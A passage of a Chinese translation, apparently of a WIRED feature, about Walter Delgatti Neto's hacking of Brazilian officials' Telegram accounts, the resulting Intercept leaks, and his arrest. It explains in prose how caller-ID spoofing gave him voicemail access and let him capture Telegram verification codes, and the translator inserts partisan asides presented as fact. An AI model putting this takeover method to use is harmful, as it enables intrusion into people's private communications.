过，一路走来，他被指控的罪行一直困扰着他。就在主题公园事件发生的同一年，警方因一起强奸案突袭了 Delgatti 的公寓。Delgatti 否认这一指控，而指控者后来也改变了证词，放弃了指控，但在突击检查中，警方发现了一张伪造的身份证，让人觉得 Delgatti 是圣保罗大学的医学学生。

他们还发现了一定数量的 “限制药物” —— 少量的抗抑郁药、84片氯硝西泮（可治疗癫痫发作、恐慌症、戒酒综合症或失眠）、还有数量稍大的类似于 阿普唑仑的抗焦虑药物，以及一些减肥药。Delgatti 坚称这些药是他个人使用的，但当地检察官 Marcel Zanin Bombardi 指控他贩卖毒品和持有假证件。

毒品指控点燃了 Delgatti 强烈的不公正感。“虚假的指控让我极为愤怒”，Delgatti 说，“直到今天，我还在使用那些药物。”

面对越来越多的法律麻烦，Delgatti 在当地的一所大学入学，决定学习法律，甚至在他自己被法律追诉的时候，他也决定学习法律。他又一次与很多同学相处不融洽。他似乎下定决心要隐瞒自己的法律包袱，但是，他一如既往地玩得过火了。第一年，他竟然向警方投诉一些同学在课堂上 “诽谤和诋毁他”。“他们说我是黑客，说我挪用第三方账户的钱”，Delgatti 告诉警方。

2017年6月，Delgatti 的罪名终于成立。他被判处两年监禁，在狱中呆了6个月，然后被释放，在半开放的设施中服完剩余的刑期，这意味着他白天可以出去，但每天晚上必须回来。

他已经跌入了谷底。“Delgatti 被搞残了。他连买面包的10块钱都没有”，Santos 说。”我知道，因为我借过他10块钱。” 2018年6月，Delgatti 被免除了贩毒的罪名，但他仍要因持有假证件而服完剩下的刑期。

2018年的某个时候，Delgatti 离开了这个小镇。他搬到了阿拉拉夸拉东北约55英里的一个稍大的城市，叫里贝朗普雷图（Ribeirão Preto），并在那里的另一所法学院注册。

为了绝望地逃离自己的名声，他结识了一个年轻得多的学生，名叫 Luiz Henrique Molição，一个同情巴西左翼的新兴政治迷。Delgatti 对政治本身没有什么兴趣，但他想打动十几岁的 Molição。

他称自己是一位已故神经外科医生的儿子，并说他是靠已故父亲的遗产为生。“我害怕他知道我的真实身份”，Delgatti 说，“我在逃亡，过

着双重生活。”

就在这个时候，Delgatti 发现了一种黑客技术，这将使这种双重生活更加复杂了。

黑客利用了巴西一家**VoIP**公司提供的一项功能，该功能允许账户持有人改变他们的来电显示 —— 即在电话接收端登记的号码。这个功能，再加上巴西许多电话供应商允许人们通过拨打自己的号码来访问自己的语音信箱，就成了一个方便的虚拟撬锁设备。黑客只需将自己的来电显示改成他想攻击的人的号码，他就可以欺骗目标人的手机，进入他们的语音信箱。

事实证明，一个没有什么技术能力，也没有专门设备的黑客，只要能进入别人的语音信箱，就能造成相当大的损失。

例如，**Delgatti** 就发现他可以利用这种 **VoIP** 欺骗技术来针对 **Telegram** 账户。当 Telegram 用户想要将自己的账户附加到新设备上时，他们可以选择通过 Telegram 的自动语音呼叫来请求验证码。Delgatti 意识到，他可以欺骗受害者的电话请求该验证码。然后，如果 Telegram 的自动语音电话没有接通 —— 因为 Delgatti 在深夜受害者睡觉时发起黑客攻击，或者通过同时给受害者打电话来保持占线 —— 验证码就会被发送到对方的语音信箱。

然后，他就可以再次欺骗目标的手机，进入他们的语音信箱，检索验证码，然后将受害者的 Telegram 账户添加到自己的设备上。之后，他就可以从云端下载目标人的全部聊天记录。

Delgatti 声称，他之所以选择 Telegram，是因为他曾经在一次法庭听证会上注意到追捕他的当地检察官 Bombardi 在使用这款应用。“他之所以开始这种黑客行为，是因为他想搞垮这位检察官的生活”，律师 Moreira 说。

果然，Delgatti 制造麻烦的天性并没有停止。2019年初，他黑入了朋友 Gustavo Santos 的 Telegram 账户。两人因此不再说话。“我很生气，真的很生气”，Santos 说。

Delgatti 黑入检察官 Bombardi 的 Telegram 账户，还让他获得了一大群当地检察官的通讯录 —— 以及其他几个公共机构的联系方式”。“从那里，一切就开始了”，律师 Moreira 说。

「图」

「图」

Araraquara

「图」

「图」

2019年3月，Santos 和巴西大部分地区的人们一起庆祝狂欢节。他说，在为期一周的庆祝活动中的某个时刻，他收到了他已经疏远的朋友 Delgatti 发来的神秘消息。消息中写道：“这里有个真正的黑客”。Santos 说他当时不知道 Delgatti 在说什么，也没有多想。

但 Delgatti 并不是在转述他的一个故事。据警方调查人员称，3月2日凌晨3点34分，也就是狂欢节正式开始的时候，Delgatti 成功入侵了国会议员、总统博索纳罗的三儿子 Eduardo Bolsonaro 的手机。45分钟后，Delgatti 又成功黑入了总统的二儿子 Carlos Bolsonaro 的手机，他也是一名政客。不久之后，Delgatti 又黑入了总统本人的手机，不过他显然无法下载任何内容。

他继续前进，趟过一长串有权势的公众人物名单 —— 联邦检察官、政府部长和高级法官。

Delgatti 把他自己做的事告诉了几个熟人，但和 Santos 一样，那些熟人都感觉很难知道他说的话里哪句是真的 —— 这或许就是让 Delgatti 更容易把如此多人卷入他的黑客狂潮中的原因。例如，他从 Santos 的网络电话账户进行了一些黑客攻击，让 Santos 看起来像个帮凶。

阿拉拉夸拉的另一个熟人，一个名叫 Danilo Marques 的Uber司机，也同样被扯进来了。多年来，据称 Marques 允许 Delgatti 用他的名字开了几个账户 ，并帮助他从 Delgatti 的各种骗局中洗钱。现在，Delgatti 在对联邦政府官员的黑客入侵时使用了这个Uber司机名下的互联网服务和IP地址。

当时，Delgatti 还与一位名叫 Thiago Eliezer Martins dos Santos 的自由职业计算机程序员和餐馆老板联系，他从小就有一个绰号叫 Chiclete —— 意思是泡泡糖。

两人曾在2018年相遇，当时 Eliezer 卖给 Delgatti 一辆路虎，据两人说。(“我的印象是一个说话很滑头的家伙”，Eliezer 描述他们的第一次见面时说)。Eliezer 承认他为 Delgatti “做了一个程序” —— 帮助他

建立了 VPN，让 Delgatti 掩盖了自己的位置。

根据两人的说法，Eliezer 并没有参与入侵 Telegram，不过他确实和 Delgatti 讨论过这个问题。Eliezer 回忆说，起初，Delgatti 将黑客行为描述为一个赚钱的计划，但随后 Delgatti 开始谈论名声和巴西革命的问题。“我从来没有把它当回事”，Eliezer 说。

还有 Luiz Molição，这个18岁的新晋左翼，Delgatti 在法学院时认识的他。Delgatti 听过 Molição 对 “洗车行动” 和博索纳罗政府的批判，这引起了他的注意，因为他需要一个熟悉政治的人帮他整理黑客目标的资料。

于是他向 Molição 展示了他挖到的各种名人的电话号码，包括最高法院的亚历山大·德·莫赖斯（Alexandre de Moraes）和右翼幽默主义者达尼洛·根蒂利（Danilo Gentili），并要求 Molição 帮助他进行下一阶段的计划。两人接着在网上保持了热烈的对话。

4月26日， Delgatti 黑入了 “洗车行动” 首席检察官德尔坦·达拉格诺尔（Deltan Dallagnol）的 Telegram 账号，此人当时被认为是 “民族英雄”。

Dallagnol 说，他很快就注意到，他收到的一些 **Telegram** 信息被标记为已读，尽管他自己并没有阅读。

他调查了自己的 Telegram 账户的使用情况。起初，Dallagnol 想象骗子试图获取他的信用卡细节，“但后来我们确定，攻击已经扩展到其他检察官”，他说，“我们删除了所有消息和这个应用程序，更改了密码，并采取了预防措施。”

但为时已晚，Delgatti 已经访问并下载了检察官 Dallagnol 的聊天记录和联系人。而几周后 —— 2019年的母亲节 —— Delgatti 再次发起了黑客攻击，将他的发现公诸于世。就是本文开始的那一幕。

当天早上，Manuela d’Ávila 收到了来自 Telegram 的提醒，显示美国弗吉尼亚州有人试图访问她的账户（代理服务的结果）。然后，她收到了她认识的一位巴西参议员发来的第二条消息。D’Ávila 试图给这个参议员打电话以确认 telegram 发信人的身份，但对方的电话一直占线（这就是上述描述的黑客要点）。然后又有一条信息从该参议员的账户发到了她的 Telegram 里：“你相信我吗？”

“当然！” d’Ávila 回答说。

“我得告诉你，这不是你认识的那个参议员”，d’Ávila 吓了一跳，对方继续说，“我有关于巴西当局犯罪的秘密情报。而我要把这一切都交给你。你是必须接受它的人”。这个黑客说，作为巴西左翼领袖，d’Ávila 是最有可能 “拯救国家” 的人。

就这样，黑客离开了这位参议员的 Telegram 账户，从另一个账号给 d’Ávila 发了信息。这个人告诉 d’Ávila，她自己的手机已经被黑客攻击了，黑客给 d’Ávila 发了她和另一位著名左翼政治家的私人聊天截图。但这个黑客向 d’Ávila 保证，她不是他们的目标。D’Ávila 马上给她的律师打电话。她担心这很有可能是政敌陷害她的阴谋。她的律师同意这一推测。

然而，这个人的写作方式却让 d’Ávila 感到不安。这位黑客的故事似乎不太可靠，但也没有恶意：“这更像是一种幻想，你知道吗？” 她说。

“他说的这些话是如此宏大：‘我要拯救国家! 你就是那个可以帮助我的人! 我们要改变一切! 卢拉要出狱了!’ …… ” 这个黑客还引用了 d’Ávila 的竞选口号：“ Lute como uma garota（像女孩那样战斗）！”

从这些信息中出现了一种特殊的心理模式；d’Ávila 感觉到了与她的一位亲人（她不愿透露姓名）的相似之处，这位亲人也被赋予了宏大的想象力。正是这一点，让 d’Ávila 不顾律师的建议，一直和这个人保持着信息往来。并最终相信，这次交流并不是陷阱。

那人想把所有的材料都托付给她，但 **d’Ávila** 作为一名前记者，她知道自己现在作为政客的身份会让人们对泄密事件产生质疑 —— 而她也很难评价材料的真实性。“我们必须考虑你要怎么做”，她告诉那个黑客。她说，他需要和记者谈谈。

这个黑客对此持怀疑态度。他告诉 D’Ávila 他发现了巴西媒体腐败的证据。所以 D’Ávila 建议找一位著名的美国记者代替。“我们必须和斯诺登事件中的记者 Glenn 谈谈”，她告诉这个黑客：“Glenn 是世界上最好的记者”。

D’Ávila 建议，Glenn Greenwald 也将是唯一能够确保材料和来源安全的人。“因为我们谈论的是当局非常严重的罪行，是对国家非常重要的信息”，d’Ávila 说。“如果他们杀了你，那些资料该怎么办？”

这个黑客显然对斯诺登的吹哨很了解，于是他同意了让 Glenn 加入的

提议。

「图」

「图」

Walter Delgatti Neto

「图」

「图」

就如人们看到的那样，Glenn 与 “洗车行动” 已经有了一段复杂的历史。从一开始，就有批评者认为，反腐专案组与 Moro 勾结，针对工人党和卢拉。他们的怀疑早在2016年就已经引起时任法官的 Moro 泄露了时任总统迪尔玛·罗塞夫和卢拉之间一段有气无力的对话的秘密窃听，这似乎表明两人正在协调，以使卢拉免受起诉。但当时 Glenn 并不在这些批评者之列。他说，他从未对 “洗车” 专案组感到 “超级敌意”。事实上，在2017年的反腐工作颁奖典礼上，Glenn 曾在演讲中正面评价 “洗车” 团队。

但现在，在接到 d’Ávila 的母亲节电话后，当开始挖掘慢慢上传到他新的 Telegram 账户上的雪崩式文件时，Glenn 感到很惊讶了。“我其实有点觉得自己被背叛了”，他说。Glenn 了解到，**Moro** 和联邦检察官之间针对卢拉和工人党的勾结，甚至比他们最激烈的批评者所想象的还要深远。

最具爆炸性的是，这些泄密事件表明，Moro 帮助设计了他随后要判决的刑事案件。有一次，Moro 提出让 Dallagnol 与一个可能掌握卢拉一个儿子的证据的消息来源取得联系。在可追溯到卢拉受审时的信息中，Dallagnol ——该案的检察官 —— 也向 Moro 和其他同事表达了他对此案件是多么脆弱的深深担忧。

在指控卢拉接受海滨三层楼作为贿赂前不久，Moro 给同事们写道：“他们会说我们的指控是基于报纸上的文章和脆弱的证据”。当 **Dallagnol** 最终利用那座三层楼的指控将卢拉描绘成一个庞大的腐败帝国的主谋时，他那错别字连篇的介绍确实遭到了媒体的猛烈抨击。

但 Moro 发来了 Telegram 消息，让他放心：“肯定的是，对你的演讲的批评是不相称的，站稳脚跟”，他写道。2017年7月，Moro 判处卢拉9年零6个月的监禁。

一旦 Glenn 和他的同事们对什么是最有新闻价值的事有了一个扎实的了解，Intercept 巴西团队决定在6月11日发布第一组报道。

但在6月5日，发生了一件让他们望而却步的事。Sérgio Moro 公开宣布 —— 他刚刚被黑客攻击。他的手机收到了来自 Telegram 的短信，表明他的账户被一个不请自来的设备访问了。Moro 声称，所谓的入侵者并没有提取任何内容，但这次黑客攻击引起了媒体风暴。随后，不断有名人和政治人物站出来说自己的账号也被同样的方式入侵。

已经明白消息来源是黑客的 Glenn 还是大吃一惊。他立刻联系了对方，询问消息来源是否是入侵 **Moro** 手机的幕后人。如果是的话，可能会让 **Intercept** 看起来像是正在进行的网络攻击的同谋。而对方坚决否认。“他甚至佯装生气，因我认为他们会做出那么原始的事而生气”，Glenn 回忆道。

然后，在6月7日晚上8点左右，这个黑客 —— 又一次将 Glenn 置于尴尬的境地 —— 打电话来请教如何处理他还能访问的所有 Telegram 账户。

“只要你发表文章”，这个消息来源说，“每个人都会删除他们的聊天记录，每个人都会卸载 Telegram，所以我们想知道 …… 你建议怎么做？” 基本上，他是在问 **Glenn**，他们是否应该在受害者可能切断访问之前，对 **Telegram** 聊天记录进行数据导出。

“这很难，因为我不能给你建议”，Glenn 回答。“显然，我需要谨慎对待我所说的一切。”

Glenn 提出了一个微妙的回应。“他们要指控我们参与黑客攻击是肯定的”，他说。他指出，Intercept 将从黑客那里收到的所有材料都存放在一个 “非常安全” 的离岸地点。“我认为，你没有目的、没有理由保留任何东西，对吗？” Glenn 说，同时明确表示，选择权在黑客手里。“对，很完美”，消息来源向 Glenn 表示感谢。

“有什么疑问，给我打电话，好吗？” 根据警方后来在 Delgatti 的 MacBook上发现的通话录音中显示 Glenn 这样说。（请注意，这个人居然没有彻底删除他和吹哨记者之间的通话记录，这不符合通常吹哨人的警觉意识，这可能更接近此报道前文中对该黑客性格特点的转述。）

6月9日，巴西 Intercept 提前两天付印。(Glenn 说这个决定与 Moro 的黑客指控无关)。Intercept 说，它的报道是基于大量未公布的文

件，包括私人信息、录音、图像和司法文件 —— 与所谓的 Moro 手机黑客事件保持距离，指出 Intercept 在几周前就收到了这些材料。这都是事实，也是吹哨平台的自我保护。

当天晚上，洗车行动小组发表声明，谴责黑客的 “犯罪行为”，并表示这些入侵行为可能危及当局官员及其家人的安全（这些涉事官员在试图扮演受害者，以夸大危险来拉拢舆论的同情）。而 Moro 则表示，这些信息并没有显示出他的行为有任何 “异常”；他还对这些信息的真实性表示怀疑。专案组和 Moro 都不承认这些信息是真实的。

不过，还是引起了轩然大波。整个 “洗车” 反腐行动的遗产受到质疑。而且还有很多材料可以公布。当 Intercept 巴西起草了后续文章，详述更深层的勾结和腐败时，Glenn 与他的消息来源断绝了联系。

当全国上下都在为黑客材料的影响而沸腾时，政府和媒体也陷入了对泄密源头的疯狂猜测。然而 Delgatti 并没有试图掩盖自己的踪迹。他继续入侵。他花了几个小时在电脑屏幕前，同时打开多个 Telegram 账户。他设置了一百多个黑客账户，以便实时监控。Delgatti 说，有时他连续48小时不睡觉。

Delgatti 甚至在推特上嘲讽了他最引人注目的受害者。在回复 Dallagnol 的推文时，Delgatti 声称自己有证据证明洗车泄密事件是真实的，并引用了 Dallagnol 被黑客攻击前三天设备上的信息时间和日期。

而在7月7日，Delgatti 在推特上直接对 Moro 说：“每过一天，你的辩解都会变得更加可笑。房子已经倒塌了，用筛子遮住太阳不会有任何好处。”

他还在社交媒体上批评了总统博索纳罗。但 Delgatti 的行为 —— 从他的个人账户发推特，并配上自己微笑着戴着红色墨镜的资料照片 —— 看起来让人难以置信。

7月21日午夜过后，Delgatti 黑入了与博索纳罗关系密切的右翼政治家、其下议院极右翼政党领袖乔伊斯·哈塞尔曼（Joice Hasselmann）的 Telegram 账户。第二天，Hasselmann 在社交媒体上发布了一段视频，称自己的手机被入侵。

Delgatti 毫不畏惧，继续入侵博索纳罗内阁重要部长、经济沙皇保罗·格德斯（Paulo Guedes）的 Telegram 账户。这将是他最后一次黑客

行动。

「图」

「图」

7月23日上午，在阿拉拉夸拉，Delgatti 曾经的律师 Ariovaldo Moreira 早早地醒来，感觉很沮丧。Moreira 的生活变得停滞不前；他最近与妻子分居。他的法律工作已经变得单调乏味。做完晨练后，Moreira 突然跪在地上，向圣母玛利亚祈祷。“帮助我，圣玛丽亚！”他恳求道，“我需要改变，我的生活中需要一些新的东西。”

果不其然，就在那天早上，阿拉拉夸拉发生了巨大的变化，其形式是联邦警察严密协调的打击行动，被称为 “恶搞行动”。早起的当地人已经注意到警察封锁了几条街道，这在他们这个长期沉睡的城市里是一个奇怪的景象。

早上8点左右，警察进入 Delgatti 的奶奶家，但没有发现他在那里。不久后，警察闯入 Delgatti 在里贝朗普雷市（他曾在该市上法学院）的公寓，发现他正在睡觉。

Delgatti 这两天大部分时间都没睡，全部时间都在电脑上浏览 Telegram 账户了。他终于在凌晨3点左右吃了一些安眠药，上床睡觉。他说，他醒来时，看到自己的脸被枪指着。

当行动指挥官问他是否知道他们为什么到来时，Delgatti 回答说：“因为部长 Sérgio Moro.” 他还说：“其实我一直在等你们。

「图」

「图」

律师Ariovaldo Moreira

其他几个将在当天早上接受警方传唤的人，准备得就差多了。

在圣保罗，Delgatti 的老朋友 Gustavo Santos 被手机上的警报声叫醒。Santos 现在和女友一起住在巴西最大的城市，他在阿拉拉夸拉仍在维护的空房子里安装了监视摄像头和传感器网络。当这些设备被触动时，就会向他的手机发出警报。

- 插入一个题外话，关于《如何手动制作运动传感器监视室内任

何人的出入》这个东西可以有很多用途 ……

有时传感器是由猫或虫子触发的，而这次是由清晨的警察突袭触发的。但 Santos 却浑然不觉。“我吃了安眠药，真的非常困。”他说。于是他又睡了过去。

早上8点左右，他公寓的对讲机的嗡嗡声又把 Santos 吵醒。“Gustavo”，对讲机里面说，“这里有一个快递给你。你必须签收。”

Santos 没有认出门卫的声音。“伙计，你可以帮我签个字”，Santos 对着对讲机说，不肯下来。

Santos 走到窗前，把窗帘分开一条缝。他瞥见几个身穿黑衣的人正向他的公寓楼走来。直到这时他就完全清醒了，他疯狂地开始打扫公寓 —— 撕毁文件，并将任何潜在的敏感材料冲进马桶。(Santos 广泛地处理加密货币交易和其他计划)。然后，想起他在公寓里有近10万巴西雷亚尔的现金 —— 大约2.5万美元 —— Santos 跑到卧室，他的女友 Suelen Oliveira 还在睡觉；无论是嗡嗡作响的对讲机还是 Santos 疯狂的动作都没有吵醒她。

Santos 低声叫醒了她，“你得帮我瞒着，因为警察来了”。 她对他眨了眨眼，迷惑不解。“她什么也不懂”，Santos 记得。

门铃开始响起。传来巨大的敲击声。然后门突然被撞开了。

警察破门而入时，Santos 向警察走去，并将一只手伸到他们面前。

Santos 身高6英尺3英寸，体重340磅，短发，脖子和手上都有纹身，可以说是个很有气势的人物。他说：“等一下，没有搜查令你们是不应该闯进来的”。他想象着上门的是正规民警。行动指挥官走了过来，“年轻人，你冷静点。这里是联邦警察。没错，我们有搜查令。”

Santos 愣住了，他说警察把他的脸推到了墙上。在向他宣读了自己的权利后，一名警察问了 Santos 一个起初让他觉得没什么意义的问题：“你不就是那个黑客吗？”

“你们找错人了”，出现在卧室门口的 Oliveira 大声说。

联邦警察把公寓洗劫一空，找到了那10万雷亚尔。然后，指挥官让这对夫妇收集一些随身的衣服。他们要去北边600多英里外的国家首都巴西利亚。

在机场，这对夫妇又惊呆了，因为他们看到自己并不是乘坐商业航班，而是被带着走向巴西空军的飞机。“这都是什么鬼？” Santos 想。登上飞机后，警察将 Santos 的双手和脚踝铐在腰间的铁链上。“我们被当成了杀人犯”，女友 Oliveira 说。

飞机起飞后大约一个小时，在里贝朗普雷图降落。这对夫妇被允许离开飞机去使用洗手间。在那里，在机场的机库里，他们发现 Delgatti 站在两名联邦警察中间，穿着西装，打着领带。“我当时就明白了”，Santos 说。 Delgatti 把他拖进了他一生中最大的麻烦。

“让他离我们远一点，否则就有热闹看了”，Oliveira 告诉警察。

当 Santos 注意到他时，Delgatti 正在微笑。Santos 认出了这就是多年前 Delgatti 在派对上做DJ时给他的那个奇怪的笑容，这是他对这个朋友最早的记忆。

Santos 还发现了 Delgatti 的朋友 Danilo Marques；他在阿拉拉夸拉课堂上学习做电工时被捕了。

Moreira 做完伸展运动后，跪在地上祈祷，他去了阿拉拉夸拉的健身房，然后去了自己的办公室。他穿着百慕大短裤 —— 这是他不接待客户时的通常装束。

上午10点，坐在电脑前的 Moreira 接到了 Santos 母亲的电话。“Ari，家里全是警察”，她告诉他。警察正在搜查 Santos 的家和附近的房子。

“可能没什么事”，Moreira 向她保证，“Santos 经常给自己找麻烦。”但很快 Santos 的姐姐就打来电话，说 Santos 在圣保罗被捕了。Moreira 告诉她，警方需要一张逮捕令。他回去工作了。

几分钟后，一张逮捕令的照片落在了 Moreira 的 WhatsApp 里。他叹了口气，开始阅读逮捕令。他的目光锁定在一个名字上：Sérgio Moro。他又回去读了一遍。逮捕令上说，Santos 被通缉，与 Moro 的手机被黑有关。

Moreira 震惊地意识到，这与 Vaza Jato —— 即 洗车行动的泄密事件有关。“Santos 干的？”他想，“这不可能”。 但它就在那里，白纸黑字。

Moreira 跑去找他的儿子，一个和他一起在办公室隔壁房间工作的律师。“看哪！”他兴奋地敲着桌子喊道，“演出就要开始了！” Moreira

冲向电梯，百慕大短裤一闪而过，儿子跟在他身后。发生了什么事？“打开电视，因为你要在那里看到我了！” Moreira 大叫一声，走进了电梯。他开车回家，开始收拾行李，给自己订了下一班飞往巴西利亚的航班。

逮捕当晚，负责指挥 “恶搞行动” 的联邦警察局长 Luis Flavio Zampronha de Oliveira，经过数周的追捕，终于和他的主要嫌疑人坐到了一起。这几乎是个反高潮。

Delgatti 马上承认了黑客的行为。他说，他是单独行动的，一切都始于他入侵了追捕他多年的阿拉拉夸拉检察官 Bombardi。他描述了检察官的电话簿如何将他引向其他官员，最后又引向 Dallagnol。

他承认，事实上，是他黑入了 Sérgio Moro 的 Telegram 账户。他也承认黑入了 Manuela d’Ávila —— 她的号码是他通过被弹劾的前总统迪尔玛·罗塞夫的电话簿得到的。Delgatti 还声称黑入了卢拉的 Telegram ，但他说他没有这方面的记录。

在被捕后的那个周末，Telegram 推出了针对 Delgatti 所利用的漏洞的修复方案 —— 不仅仅是巴西的用户，而是各地的用户。

当联邦警察在突击检查中查获的7TB设备上存储的信息时，他们发现了向1330个不同号码打出的6,508次电话的证据，导致176次成功入侵。

他们还发现，在过去的几个月里，可疑的资金在他们的嫌疑人之间流转。

但是，关于黑客计划背后的动机的清晰图景始终没有完全汇总。嫌疑人之间的某些短信交流似乎暗示着财务状况发生了明显的时间变化；例如，2019年4月，大约在 Delgatti 黑入 Dallagnol 手机的时候，他曾给 Marques 发短信说 “风暴已经结束”，“盛世已经来临”。而 Santos 在被问及他的收入来源和加密货币交易时，也是避重就轻，这让检察官怀疑嫌疑人是否有以加密货币支付的方式进行黑客攻击。

但最终他们没有发现任何证据表明 Delgatti 是为了钱而进行黑客狂欢的 —— 只知道他们的嫌疑人多年来分别参与了各种小额的金融诈骗活动。对警方来说，就像对每一个认识 Delgatti 的人一样，黑客背后的原因从根本上来说仍然是个谜。联邦警察局长 Zampronha 一直在问 Delgatti 为什么这么做。没有明确的答案。

Moreira 第一次见到 Delgatti 是在嫌疑人的初步听证会上。当时律师正和 Santos 及其女友和 Oliveira 在等候区 —— 他们戴着手铐，旁边还有武装警察 —— 这时 Delgatti 穿着西装走了进来。“嘿，这是怎么回事 Ari！” Delgatti 看到 Moreira 就哭了，“你看到我做了什么吗？”

Delgatti 被指控为黑客的幕后主使。Santos 及其女友 Oliveira、和 Marques 被指控为帮凶；针对他们的主要证据似乎是，一些黑客攻击是从他们的IP地址进行的。他们都被单独指控为有组织犯罪团伙的成员。

9月19日，第二阶段的 “恶搞行动” 开始了。自由职业计算机程序员 Thiago Eliezer 在巴西利亚被捕。19岁的法律系学生 Luiz Molição 在里贝朗普雷图外被捕。

Eliezer 被指控开发了黑客犯罪中使用的技术，而调查人员称，Molição 曾帮助 Delgatti 编制材料，并进行一些与 Glenn 的通信，还参与了对 Joice Hasselmann 的黑客攻击。作为辩护的一部分，Molição 声称 Delgatti 操纵他提供帮助；他将 Delgatti 描述为一个 “自恋的反社会者”。

Glenn 也在指控中被点名，指控声称他 “在黑客攻击期间激励和指导了该组织”。[完全意料之内] 该检察官使用了 Glenn 和消息来源之间的通话监听记录。

但8月，巴西最高法院以宪法关于新闻自由的条款为由，禁止对 Glenn 进行起诉，联邦警方也表示，记者没有参与与泄密相关的涉嫌犯罪。

即便如此，这些被吹哨羞辱到的联邦检察官仍继续对 **Glenn** 提出指控，并对最高法院的裁决提出上诉。

这个极右总统博索纳罗曾公开威胁这名记者。博索纳罗在一次采访中说：“也许他会在巴西坐牢。”（意思是 **Glenn** 没有因斯诺登文件在美国坐牢，他逃到了巴西，而巴西可以给记者判刑）。

自第一篇报道发表以来，Glenn 和他的家人一直有24小时的安保措施。与此同时，Intercept 不断发表基于泄密事件的报道 —— 至今已有100多篇。10月29日，Glenn 因拒绝美国编辑对稿件的审查而从 Intercept 辞职，但他不惜表达对巴西 Intercept 的尊重。（Glenn 强调他辞职是对纽约的 Intercept，而不是巴西的分部，他希望继续借助巴西 Intercept 的平台表达异议。）

2019年11月8日，卢拉出狱，就像 **Delgatti** 第一次联系 **Manuela d'Ávila** 时声称会发生的那样。卢拉继续要求查看 “洗车行动” 中 Moro 和检察官们之间的所有信息，他需要知道这些泄漏信息在帮助他洗清罪名方面的作用。

至于那个极受欢迎的司法部长和所谓的 “反腐斗士” Sérgio Moro，他的信誉已经受到严重贬值。他并没有像他强烈暗示的那样，被外国情报机构的黑客攻击，而只是被一个小玩家攻击了。

【注：**Moro** 希望借助他的地位和其构建的声誉操纵叙事，将公众对泄漏文件的关注引向 “外国敌对势力”，从而忽略淡化他本身在卢拉案中的腐败行为。很明显，他失算了。】

泄密事件发生后，Moro 一直保持低调，2020年4月，他在与博索纳罗发生冲突后辞去政府职务。此后，Moro 指责总统犯下了多项罪行。但他说，自从他的信息被泄露给 Intercept 后，他就学会了定期删除自己的聊天记录，所以他不再拥有许多他和博索纳罗之间的通信记录，这些信息可以提供具体的证据。

这是 Moro 最接近承认信息泄露的真实性的一次。他拒绝对本文发表评论。

在对记者的问题的书面答复中，Dallagnol 仍然申明，Intercept 的泄密信息没有显示出公共当局 “非法活动” 或 “任何犯罪” 的证据。Dallagnol 还驳斥 Intercept “有偏见”，指责其工作人员 “在社交媒体上进行人身攻击”。他补充说：“这是好战，而不是调查或新闻工作。”

最终他不甘示弱，称：“洗车行动过去和现在都是巴西历史上最伟大的反腐工作。” 他说。这 “比水门事件大一百倍”，他还补充说，“这不是我们应该骄傲的事，因为它表明腐败有多么的深远。调查是一场地震，震撼了这个系统性腐败的国家。”

「图」

「图」

被起诉同谋的 Gustavo Santos 和他的女友 Suelen Oliveira

「图」

「图」

许多巴西人仍然觉得难以置信，一个小玩家居然是巴西历史上最大的政府泄密事件的唯一主使者。阴谋论已经流传得多种多样，将黑客与共产党、工人党、或其他富有的金融支持者联系起来。有些人甚至指出 Delgatti 小时候的绰号 —— 红色 —— 声称那是他所谓的硬左派政治的标志。全部胡扯。一些圈子里继续猜测，认为该组织是以加密货币支付的，尽管 Delgatti 否认曾经使用过加密货币。

根据 Eliezer 的说法，Delgatti 在监狱里向他保证，他们不会被关很久，这要感谢一位 Tia—字面意思是阿姨。他似乎在暗示着某种强大的关系。“他多次提到过一个阿姨，说她会帮助我们”，Eliezer 通过他的律师提供的对记者问题的书面回答中写道。(Delgatti 否认说过这句话)。但随着时间的推移，其他嫌疑人被保释候审，Delgatti 仍被关押。

Delgatti 在巴西利亚帕普达综合监狱的F区被关押了一年，该监狱曾被 **Covid-19** 蹂躏。**1,000**多名囚犯感染了这种病毒。去年年底再次开始代表 Delgatti 的 Moreira，好几个月都难以与他的当事人和老朋友交谈。但在5月和6月，Moreira 已经能够帮记者向 Delgatti 传递采访问题。

Delgatti 在通过 Moreira 作出的答复中写道，他这样做既是为了拯救巴西，“也是因为我自己受到了冤枉”。他接着说：“我从来没有向任何人要过钱，我想要的是正义。”

自从媒体的关注度消退后，Delgatti 对公众没有对吹哨采取行动感到绝望。“我认为，我应该是自由的”，Delgatti 写道，“毫无疑问，我可以就揭露洗车行动经营者所犯下的罪行帮助正义。”

在 Delgatti 给记者的回复中，有一个动机方面的暗示。

“我这辈子都没有这么好的感觉”，他写道，当 Intercept 第一次曝光泄密事件的那一刻，“我为自己的成就感到骄傲 —— 我是个虚荣的人，我有一种任务完成的感觉。” 他似乎也很失望，因为他在巴西社会里并没有受到他想象中的崇拜。

恶搞行动的指挥官 Luis Zampronha 认为，必须惩罚 Delgatti 的罪行。在唯一一次关于此案的采访中，Zampronha 向 WIRED 描述 Delgatti 时说他是自恋的、有问题的，适合接受审判，当然也不值得崇拜。在 Zampronha 的心目中，Delgatti 是一个 “设法入侵政府官员私生活的骗子”，并不是什么宏大的意识形态黑客。“他不是斯诺登”，Zampronha 说。

大多数巴西人都会同意。一个不务正业的人变成网络罪犯的故事根本不符合任何人的剧本。现在，整个国家的处境和阿拉拉夸拉的 Delgatti 的同伙们经常发现自己的处境差不多，从来不知道如何认真对待一个幻想家。

10月17日，Delgatti 终于获释，在阿拉拉夸拉候审；他现在戴着电子脚踝监视器。对于他的获释，媒体评论很少。就在本文发表前，记者通过语音电话与他进行了交谈，这是他接受的第一次也是唯一一次采访。

他对自己所受到的不公正待遇反应很激动。“在我看来，我应该被尊为英雄，而不是被贴上罪犯的标签”，他说。但当记者提起他之前写的一些东西时，他变得有些回避。在监狱里，Delgatti 曾经告诉记者，他只把自己黑客的一部分资料交给了 Glenn，“这只是冰山一角”，他曾这样说。

当记者在电话里问他还有多少材料没公开、已经打算怎么处理时，他冷笑着说最好不要回答这个问题。“这会影响我的人身自由”，他说。

也许没有其他材料，但如果存在其他材料，它可能是一颗等待在巴西爆炸的定时炸弹， Delgatti 还可能得到他梦寐以求的崇拜，也可能，让他再一次身陷烟云。〇

The Scammer Who Wanted to Save His Country

原文

政府监视我，你可能就是下一个 - iYouPort

透明度革命

著名调查记者变成了间谍机构的重点监视目标。在打击透明度革命的战争中，思想警察已经疯狂。这种监视完全不需要法律授权，而司法部在此案中官官相护……这种情况下怎么办？

「图」

「图」

